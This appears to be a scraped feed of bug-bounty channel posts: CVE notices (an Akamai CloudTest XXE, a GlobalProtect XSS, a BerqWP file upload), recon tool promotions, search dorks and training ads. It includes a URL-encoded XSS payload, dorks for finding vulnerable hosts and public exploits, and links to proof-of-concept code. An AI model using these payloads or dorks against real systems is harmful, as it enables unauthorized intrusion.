Akamai CloudTest - XXE Injection

Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection through the /concerto/services/RepositoryService SOAP endpoint.

Get: https://github.com/MuhammadWaseem29/CVE-2025-49493-Poc

References:
1. https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
2. https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes

Looking for a freelancer, familiar with FB, Instagram and Whatsapp marketing.

Send your resume to [email protected]

🚨CVE-2025-0133 : Payload + Template

Payload: %3Csvg%20xmlns%3D%22http%3A%2F%https://2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E

Write-up: https://codewithvamp.medium.com/cve-2025-0133-reflected-xss-vulnerability-in-palo-alto-globalprotect-gateway-portal-028128f2f5b9

Template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0133.yaml

↳ s3dns - a lightweight DNS server that helps uncover cloud storage buckets (AWS S3, Google Cloud Storage, and Azure Blob) by resolving DNS requests, tracing CNAMEs, and matching known bucket URL patterns.

What it does?
• Resolves CNAME records to uncover hidden S3 locations
• Detects AWS S3 bucket URL patterns
• Helps find potentially exposed S3 buckets
• Easy to deploy via Docker

Installation

git clone https://github.com/olizimmermann/s3dns.git
cd s3dns
pip install -r requirements.txt

Repository: Github

Hey Hunter's,
DarkShadow here, back again just dropping a POC.

🤫Unauthenticated WordPress Auth bypass 🔥

After sending the 1st request use the provided last Cookie and send request on /wp-admin and BOOM auth bypassed 💥


#bugbountytips  #authbypass

Hey Hunter's,
DarkShadow here ...

🔥Is that Cool?

Hey Hunter's,
DarkShadow here back again, just dropping a dork🤫

✨google dork searching public exploits from github😎

"CVE-YYYY-NNNN" exploit site:github.com

"CVE-YYYY-NNNN" exploit POC site:github.com

"CVE-YYYY-NNNN" proof of concept site:github.com

#dork #bugbountytips

🚨 Brut Security - New Batch Starts 18th August!

Join our Ethical Hacking Network Pentesting & Web Pentesting / Bug Bounty training – practical sessions, real-world attacks, and community support from Day 1.

✅ DM +918945971332 to enroll. Limited slots.
⭐https://wa.me/918945971332

Hey Hunter's,
DarkShadow hare back again.

𝘿𝙖𝙧𝙠𝙀𝙣𝙙𝙁𝙞𝙣𝙙𝙚𝙧 my own private tool which i used to extract endpoints from browse through passive recon.

✨ Features:
✅ Extract subdomains.
✅ Extract categories endpoints from subdomains.
✅ Extract external domains.

If you find this tool useful, give it a ⭐️ and share it with others in the hacking & BugBounty community!

https://github.com/darkshadow2bd/DarkEndFinder

Bug Hunters Methodology v4
@Jason Haddix

CVE-2025-7443: Unrestricted Upload of File with Dangerous Type in BerqWP Plugin, 8.1 rating❗️

Lack of file validation allows attackers to upload arbitrary files, which can lead to RCE.

Search at Netlas.io:
👉 Link: https://nt.ls/puxoz
👉 Dork: http.body:"plugins/searchpro"

Read more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/searchpro/berqwp-2242-unauthenticated-arbitrary-file-upload

Hey Hunter's,
DarkShadow here back again!

SubClick One-click Subdomain Finder Bookmark template.

This is my private tool that I use during bug hunting.
If you guys like it, I’ll publish it on my GitHub.
I’ve uploaded a sample video demo — let me know what you think!

🧠 Features
✅ One-click execution – just add to bookmarks and click
✅ No setup required – works as a browser bookmarklet
✅ Fast subdomain discovery from multiple public sources
✅ Subdomain live check (best-effort, despite CORS/CSP)
✅ Download results as .txt directly from the browser
✅ Displays subdomains as clickable links with basic status
✅ Fully client-side – no server or data collection involved
✅ Bug bounty friendly – made for recon & live target scanning

#bugbountytips #infosec